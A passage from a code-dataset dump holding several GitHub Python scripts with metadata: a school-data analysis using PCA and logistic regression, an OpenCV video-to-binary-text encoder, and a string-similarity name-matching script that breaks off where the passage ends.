component')\nplt.ylabel('Eigenvalue')\nplt.plot([0,numClasses2],[1,1],color='red',linewidth=1)\n\nplot7 = plt.figure(7)\nnumClasses3 = 3\nplt.bar(np.linspace(0,2,3), height=eigVals2)\nplt.xlabel('Principal component')\nplt.ylabel('Eigenvalue')\nplt.plot([0,numClasses3],[1,1],color='red',linewidth=1)\n\nplot8 = plt.figure(12)\nnumClasses4 = 7\nplt.bar(np.linspace(0,6,7), height=eigVals4)\nplt.xlabel('Principal component')\nplt.ylabel('Eigenvalue')\nplt.plot([0,numClasses4],[1,1],color='red',linewidth=1)\n\n# plot9 = plt.figure(8)\n# plt.bar(np.linspace(0,8,9),loadings[:,2])\n# plt.xlabel('Question')\n# plt.ylabel('Loading')\n\nplot10 = plt.figure(9)\nplt.bar(np.linspace(0,5,6),loadings3[:,0])\nplt.xlabel('Question')\nplt.ylabel('Loading')\n\nplot11 = plt.figure(10)\nplt.bar(np.linspace(0,2,3),loadings2[:,0])\nplt.xlabel('Question')\nplt.ylabel('Loading')\n\nplot12 = plt.figure(13)\nplt.bar(np.linspace(0,6,7),loadings4[:,1])\nplt.xlabel('Question')\nplt.ylabel('Loading')\n\nplot13= plt.figure(11)\nplt.plot(rotatedData4[:,0],rotatedData4[:,1],'o',markersize=1)\n\nplot14 = plt.figure(14)\nplt.imshow(correlationComps, aspect='auto')\nplt.colorbar()\n####\n\n#%% Question 5\ndfSpendingSize = df[[\n 'per_pupil_spending',\n 'avg_class_size',\n 'poverty_percent',\n 'student_achievement'\n ]]\nremNAN(dfSpendingSize)\n# model = sm.OLS(dfSpendingSize['student_achievement'], dfSpendingSize['avg_class_size']).fit()\n# modelPredict = model.predict(dfSpendingSize['avg_class_size'])\n# print(model.summary())\n\nspendingMed = dfSpendingSize['per_pupil_spending'].median()\nclassMed = dfSpendingSize['avg_class_size'].median()\npovertyMed = dfSpendingSize['poverty_percent'].median()\ndef categorizeData(dataseries, threshold):\n categorizedlist = []\n for value in dataseries:\n if value >= threshold:\n categorizedlist.append(2)\n else:\n categorizedlist.append(1)\n return categorizedlist\nspendingCats = categorizeData(dfSpendingSize['per_pupil_spending'], spendingMed)\nsizeCats = categorizeData(dfSpendingSize['avg_class_size'], classMed)\npovCats = categorizeData(dfSpendingSize['poverty_percent'], 50.0)\nrichAchieve = []\npoorAchieve = []\nachieves = np.array(dfSpendingSize['student_achievement'])\nfor index in range(len(spendingCats)):\n if spendingCats[index] == 1:\n poorAchieve.append(achieves[index])\n else:\n richAchieve.append(achieves[index])\nhisto = pd.DataFrame(meow.meow(dfSpendingSize[\"student_achievement\"]))\nhisto.sort_values(0, ascending=True, inplace=True)\nspendgraph = plt.figure(15)\nplt.bar(np.linspace(1, 225, 225), histo[1])\n#plt.bar([\"rich\", 'poor'], height=[np.mean(richAchieve), np.mean(poorAchieve)])\n\n####\n\n#%% Question 6\n# model2 = ols('student_achievement ~ per_pupil_spending + avg_class_size + per_pupil_spending:avg_class_size', data=dfSpendingSize).fit() \n# anova_table2 = sm.stats.anova_lm(model2, typ=2) #Create the ANOVA table. Residual = Within\n# print(anova_table2) #Show the ANOVA table\n\n# fig = meansPlot(x=dfSpendingSize['per_pupil_spending'], trace=dfSpendingSize['avg_class_size'], response=dfSpendingSize['student_achievement'])\n\nbigAchieve = []\nsmallAchieve = []\nfor index in range(len(sizeCats)):\n if sizeCats[index] == 1:\n smallAchieve.append(achieves[index])\n else:\n bigAchieve.append(achieves[index])\n\nsizegraph = plt.figure(16)\nplt.bar([\"big\", 'small'], height=[np.mean(bigAchieve), np.mean(smallAchieve)])\n\n\n\n####\n\n#%% Question 7\nacceptances = df[['acceptances', 'school_name']]\nsortedAccept = acceptances.sort_values(by=['acceptances'], ascending=False)\ntotalAccepts = acceptances['acceptances'].sum()\narraySorted = np.array(sortedAccept)\nschoolCount = 0\nacceptanceThreshold = 0\nfor row in arraySorted:\n if(acceptanceThreshold < 4015):\n acceptanceThreshold += row[0]\n schoolCount += 1\n else:\n break\n\n\nAcceptanceBarGraph = plt.figure(50)\nplt.bar(acceptances.index.values.tolist(), height=sortedAccept['acceptances'], width=5)\nplt.xlabel('schools')\nplt.ylabel('acceptances')\n\n####\n\n#%% Question 8\ndfFactors = df[[\n 'applications',\n 'acceptances',\n 'per_pupil_spending',\n 'avg_class_size',\n 'asian_percent',\n 'black_percent',\n 'hispanic_percent',\n 'multiple_percent',\n 'white_percent',\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust',\n 'disability_percent',\n 'poverty_percent',\n 'ESL_percent',\n 'school_size',\n 'student_achievement',\n 'reading_scores_exceed',\n 'math_scores_exceed',\n 'application_rate',\n 'student_odds'\n ]]\nremNAN(dfFactors)\nfactorMat = dfFactors.corr(method='pearson')\ndef appendEqualCountsClass(df, class_name, feature, num_bins, labels):\n '''Append a new class feature named 'class_name' based on a split of 'feature' into clases with equal sample points. Class names are in 'labels'.'''\n\n # Compute the bin boundaries\n percentiles = np.linspace(0,100,num_bins+1)\n bins = np.percentile(df[feature],percentiles)\n\n # Split the data into bins\n n = pd.cut(df[feature], bins = bins, labels=labels, include_lowest=True)\n\n # Add the new binned feature to a copy of the data\n c = df.copy()\n c[class_name] = n\n return c\n\ndfFactors = appendEqualCountsClass(dfFactors, \"accepted\", \"student_odds\", 2, [\"L\",\"H\"])\ndfFactors2 = appendEqualCountsClass(dfFactors, \"achievementlevel\", \"student_achievement\", 2, [\"L\",\"H\"])\ny = dfFactors['accepted']\nX = dfFactors[[\n 'applications',\n 'per_pupil_spending',\n 'avg_class_size',\n 'asian_percent',\n 'black_percent',\n 'hispanic_percent',\n 'multiple_percent',\n 'white_percent',\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust',\n 'disability_percent',\n 'poverty_percent',\n 'ESL_percent',\n 'school_size',\n 'student_achievement',\n 'reading_scores_exceed',\n 'math_scores_exceed',\n 'application_rate'\n ]]\n\ny2 = dfFactors2['achievementlevel']\nX2 = dfFactors2[[\n 'per_pupil_spending',\n 'avg_class_size',\n 'asian_percent',\n 'black_percent',\n 'hispanic_percent',\n 'multiple_percent',\n 'white_percent',\n 'rigorous_instruction', \n 'collaborative_teachers', \n 'supportive_environment', \n 'effective_school_leadership', \n 'strong_family_community_ties', \n 'trust',\n 'disability_percent',\n 'poverty_percent',\n 'ESL_percent',\n 'school_size',\n 'reading_scores_exceed',\n 'math_scores_exceed'\n ]]\n\nscaler = MinMaxScaler(feature_range=(0,1))\nrescaledX = scaler.fit_transform(X)\nrescaledX2 = scaler.fit_transform(X2)\n\nX = pd.DataFrame(rescaledX, columns=X.columns)\nX2 = pd.DataFrame(rescaledX2, columns=X2.columns)\n\ntest_size = 0.5\nseed = 12345\nX_train, X_test, Y_train, Y_test = train_test_split(X, y, test_size=test_size, random_state=seed)\nX_train2, X_test2, Y_train2, Y_test2 = train_test_split(X2, y2, test_size=test_size, random_state=seed)\nmodel_lr = linear_model.LogisticRegression(solver='lbfgs', multi_class='auto')\nmodel_lr.fit(X_train, Y_train)\npredictions_lr = model_lr.predict(X_train)\nprint(\"LogisticRegression\", accuracy_score(Y_train, predictions_lr))\npredictions_lr = model_lr.predict(X_test)\nprint(\"LogisticRegression\", accuracy_score(Y_test, predictions_lr))\n\ndef logisticRegressionSummary(model, column_names):\n '''Show a summary of the trained logistic regression model'''\n \n # Get a list of class names\n numclasses = len(model.classes_)\n if len(model.classes_)==2:\n classes = [model.classes_[1]] # if we have 2 classes, sklearn only shows one set of coefficients\n else:\n classes = model.classes_\n \n # Create a plot for each class\n for i,c in enumerate(classes):\n # Plot the coefficients as bars\n fig = plt.figure(figsize=(8,len(column_names)/3))\n fig.suptitle('Logistic Regression Coefficients for Class ' + str(c), fontsize=16)\n rects = plt.barh(column_names, model.coef_[i],color=\"lightblue\")\n \n # Annotate the bars with the coefficient values\n for rect in rects:\n width = round(rect.get_width(),4)\n plt.gca().annotate(' {} '.format(width),\n xy=(0, rect.get_y()),\n xytext=(0,2), \n textcoords=\"offset points\", \n ha='left' if width<0 else 'right', va='bottom') \n plt.show()\n #for pair in zip(X.columns, model_lr.coef_[i]):\n # print (pair)\nlogisticRegressionSummary(model_lr, X.columns)\n\nmodel_lr2 = linear_model.LogisticRegression(solver='lbfgs', multi_class='auto')\nmodel_lr2.fit(X_train2, Y_train2)\npredictions_lr2 = model_lr2.predict(X_train2)\nprint(\"LogisticRegression2\", accuracy_score(Y_train2, predictions_lr2))\npredictions_lr2 = model_lr2.predict(X_test2)\nprint(\"LogisticRegression2\", accuracy_score(Y_test2, predictions_lr2))\nlogisticRegressionSummary(model_lr2, X2.columns)\n\n\n\n####\n", "repo_name": "jw5374/IntroDataScience2021", "sub_path": "BigData/Bigdata.py", "file_name": "Bigdata.py", "file_ext": "py", "file_size_in_byte": 15302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 35, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 36, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 81, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 121, "usage_type": "call"}, {"api_name": "scipy.stats.zscore", "line_number": 147, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 147, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 148, "usage_type": "call"}, {"api_name": "scipy.stats.zscore", "line_number": 155, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 155, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 156, "usage_type": "call"}, {"api_name": "scipy.stats.zscore", "line_number": 163, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 163, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 171, "usage_type": "call"}, {"api_name": "scipy.stats.zscore", "line_number": 173, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 173, "usage_type": "attribute"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 207, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 207, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 221, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 221, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 230, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 232, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 232, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 239, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 239, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 270, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 276, "usage_type": "call"}, {"api_name": "meow.meow", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 300, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 310, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 321, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 322, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 322, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 323, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 323, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 362, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 365, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 423, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 427, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 428, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 432, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 433, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 434, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 434, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 437, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 439, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 454, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 454, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.barh", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 461, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 461, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 466, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 466, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 471, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 471, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 474, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 476, "usage_type": "call"}]} {"seq_id": "12723556788", "text": "import cv2\nimport os\nimport numpy as np\nos.chdir('C:/Users/korla/OneDrive/Escriptori/Startup/frameGPT/encoder')\n\n# Read the video file\ncap = cv2.VideoCapture('person01_handwaving_d2_uncomp.avi')\n\n# Get the frame rate\nfps = cap.get(cv2.CAP_PROP_FPS)\n\ntotal_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n# Define the codec and create VideoWriter object\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\nout = cv2.VideoWriter('output.avi', fourcc, fps, (160, 120), False)\n\ndef matrix_to_string(matrix):\n# Initialize an empty string to store the output\n output = \"\"\n \n # Iterate through the rows of the matrix\n for i, row in enumerate(matrix):\n # Iterate through the elements of each row\n for j, element in enumerate(row):\n # Append the element to the output string\n output += str(element)\n \n # Add a space separator unless this is the last element in the row\n if j < len(row) - 1:\n output += \" \"\n \n # Add an underscore separator between rows unless this is the last row\n if i < len(matrix) - 1:\n output += \" _ \"\n \n # Call the matrix_to_string function with your matrix argument\n return output\n\nresult = \"\"\n\n# Read the first 10 frames of the video and convert them to grayscale\nfor i in range(625):\n \n ret, frame = cap.read()\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # Resize the frame to 160 x 120\n #resized_frame = cv2.resize(gray_frame, (160, 120))\n\n # Write the frame to the output video file\n #out.write(resized_frame)\n out.write(gray_frame)\n\n # Convert the frame to a matrix of pixel values\n #pixel_matrix = np.matrix(resized_frame.tolist())\n pixel_matrix = np.matrix(gray_frame.tolist())\n \n # Convert each element of the pixel matrix to an 8 digit binary number\n binary_matrix = np.vectorize(lambda x: format(x, '08b'))(pixel_matrix)\n \n #to_text = np.delete(binary_matrix, np.s_[3:119], axis=0)\n\n # # Delete column 2\n #to_text_this = np.delete(to_text, np.s_[3:159], axis=1)\n \n result += matrix_to_string(binary_matrix).replace(\"[\", \"\").replace(\"]\", \"\").replace(\"'\", \"\") + \" / \"\n \n \nfilename = \"person01_handwaving_d2_uncomp.txt\" # Replace this with the desired filename\n\nwith open(filename, \"w\") as f:\n f.write(result)\n\nprint(result)\n\n# Release the video capture and writer objects\ncap.release()\nout.release()\n", "repo_name": "martillopart/frameGPT", "sub_path": "encoder/encoder.py", "file_name": "encoder.py", "file_ext": "py", "file_size_in_byte": 2427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.chdir", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 10, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.matrix", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 60, "usage_type": "call"}]} {"seq_id": "10402175555", "text": "import concurrent\nimport time\n\nfrom App import App\nimport textdistance\n\nfrom Utils import connectToDB, selectFromDB\n\n\n# longest common subsequence similarity\ndef compareGotoh(namesList, baseNameList):\n pair = None\n pairList = []\n start = time.time()\n for name in namesList:\n minDistance = float('inf')\n for baseName in baseNameList:\n base = baseName\n res = textdistance.gotoh.distance(name, baseName)\n if res < minDistance:\n minDistance = res\n pair = (name, baseName)\n pairList.append(pair)\n # print(f'Matching Pair is {pair} and the Hamming distance is: {minDistance}')\n runTime = (time.time() - start)/60\n return 'Gotoh Distance', runTime, pairList\n\ndef compareStrCmp95(namesList, baseNameList):\n pair = None\n pairList = []\n start = time.time()\n for name in namesList:\n minDistance = float('inf')\n for baseName in baseNameList:\n base = baseName\n res = textdistance.strcmp95.distance(name, baseName)\n if res < minDistance:\n minDistance = res\n pair = (name, baseName)\n pairList.append(pair)\n # print(f'Matching Pair is {pair} and the Hamming distance is: {minDistance}')\n runTime = (time.time() - start)/60\n return 'StrCmp95 Distance', runTime, pairList\n\n\nif __name__ == '__main__':\n # GUI section #\n app = App()\n app.startApp()\n # dataBaseCon = connectToDB('LAPTOP-VNSLHC31', 'BraudeProject')\n # baseNamesList = selectFromDB(dataBaseCon, 'SELECT * FROM [BraudeProject].[dbo].[AllVegNames]')\n # namesList = selectFromDB(dataBaseCon, 'SELECT Prod_Name FROM [BraudeProject].[dbo].[AllProds]')\n # namesList = [name[0] for name in namesList]\n # baseNamesList = [name[0] for name in baseNamesList]\n # resultSet = []\n # CountAlg1 = CountAlg2 = 0\n # with concurrent.futures.ThreadPoolExecutor() as executor:\n # workThreads = [executor.submit(compareStrCmp95, namesList, baseNamesList), executor.submit(compareGotoh, namesList, baseNamesList)]\n # print('Test Results:\\n')\n # for work in concurrent.futures.as_completed(workThreads):\n # resultSet.append(work.result())\n # Alg1, Time1, pairList1 = resultSet[0]\n # Alg2, Time2, pairList2 = resultSet[1]\n # print(f'Algorithm {Alg1} finish in: {Time1}')\n # print(f'Algorithm {Alg2} finish in: {Time2}')\n # print(f'Results Differences:')\n # for set1, set2 in zip(pairList1, pairList2):\n # if set1[1] != set2[1]:\n # print('------------------------------')\n # print(f'Algorithm {Alg1} result: {set1}')\n # print(f'Algorithm {Alg2} result: {set2}')\n # ans = int(input(f'Press 1 for {Alg1} Press 2 for {Alg2}'))\n # if ans == 1:\n # CountAlg1 = CountAlg1 + 1\n # if ans == 2:\n # CountAlg2 = CountAlg2 + 1\n # print('------------------------------')\n # if CountAlg1 > CountAlg2:\n # print(f'Winner is {Alg1} with {CountAlg1} wins compare to {Alg2} with {CountAlg2}')\n # else:\n # print(f'Winner is {Alg2} with {CountAlg2} wins compare to {Alg1} with {CountAlg1}')\n\n\n", "repo_name": "Remez19/Capstone-Project-21-1-D-3", "sub_path": "Python Files/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3305, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "textdistance.gotoh.distance", "line_number": 19, "usage_type": "call"}, {"api_name": "textdistance.gotoh", "line_number": 19, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": 